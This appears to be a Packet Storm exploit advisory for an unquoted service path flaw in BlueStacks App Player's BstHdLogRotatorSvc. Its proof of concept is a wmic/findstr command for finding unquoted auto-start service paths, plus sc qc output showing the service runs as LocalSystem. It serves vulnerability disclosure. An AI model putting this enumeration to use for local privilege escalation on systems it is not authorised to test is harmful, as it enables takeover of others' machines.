Blue Stacks App Player 2.4.44.62.57 Unquoted Service Path

Blue Stacks App Player version 2.4.44.62.57 suffers from a BstHdLogRotatorSvc unquoted service path vulnerability.


MD5 | 69763ffe817758b9659a11043a8e37c5

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# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path
# Date: 2019-11-09
# Exploit Author: Diego Armando Buztamante Rico
# Vendor Homepage: www.bluestacks.com
# Software Link: www.bluestacks.com
# Version: 2.4.44.62.57
# Tested on: Windows 8.1 Pro
# CVE: NA

#Description
#Blue Stacks is an application which allows to run mobile apps on Windows and Mac. 
#The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks app.
#The service suffers from an unquoted path.

#PoC using CMD
#Command to discover the unquoted path:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"

#As a result we have

BlueStacks Log Rotator Service       BstHdLogRotatorSvc       C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe        Auto

#We use the name of service to get its information using next command.

C:\Users\user>sc qc BstHdLogRotatorSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BstHdLogRotatorSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-LogRotatorService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : BlueStacks Log Rotator Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

Source: packetstormsecurity.com
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